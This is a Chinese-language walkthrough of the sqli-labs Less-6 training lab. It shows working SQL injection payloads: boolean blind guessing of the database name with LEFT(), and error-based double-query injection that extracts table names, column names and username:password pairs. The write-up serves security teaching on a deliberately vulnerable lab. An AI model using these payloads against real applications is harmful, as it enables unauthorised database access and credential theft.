[网络安全]sqli-labs Less-6 解题详析

简介: [网络安全]sqli-labs Less-6 解题详析

判断注入类型

GET1" and "1"="1 回显如下:

GET 1" and "1"="2

没有回显,说明该漏洞类型为GET型双引号字符型注入


判断注入点个数

GET1" order by 3 --+,回显如下:

GET1" order by 4 --+,回显如下:

故注入点为3个


查库名

Payload:GET 1" and left((select database()),1)='a'--+

使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。


left函数

Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:

LEFT(str, len)

其中,str 是要截取的字符串,len 是要返回的字符数。

例如,LEFT(‘Hello, world!’, 5) 将返回 Hello,因为它只返回字符串的前5个字符

若1" and left((select database()),1)=‘a’–+查询成功,则回显you are in,即数据库名的首字母为a

因此可用此方法查询出完整的数据库名


我们可得到数据库名的首字母为s

继续猜第二个字母,将sa遍历到se,发现se回显成功

?id=1" and left((select database()),2)='se'--+

因此我们可以不断尝试得到数据库名:

也可使用抓包字典爆破来获取数据库名,详情参见[网络安全]sqli-labs Less-5 解题详析(秋说的博客)

也可使用双查询注入来获取数据库名,详情参见上面这个链接。

示例如下:


查表名

双查询注入:1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a %23

回显四个表名

查users表的列名

双查询注入:1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a %23

查字段

双查询注入:1" union select 1, count(*), concat((select concat(username,':',password) from users limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a %23

将limit中的0改为1、2、3…即可:

总结

以上为[网络安全]sqli-labs Less-6 解题详析,后续将分享[网络安全]sqli-labs Less-7 解题详析

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

我是秋说,我们下次见。

目录
相关文章
|
8月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
497 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
8月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
300 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
8月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
266 0
|
8月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
1781 0
|
8月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
787 0
|
8月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
359 0
|
8月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
114 0
|
8月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
108 0
|
8月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
68 0
|
1月前
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
75 17

热门文章

最新文章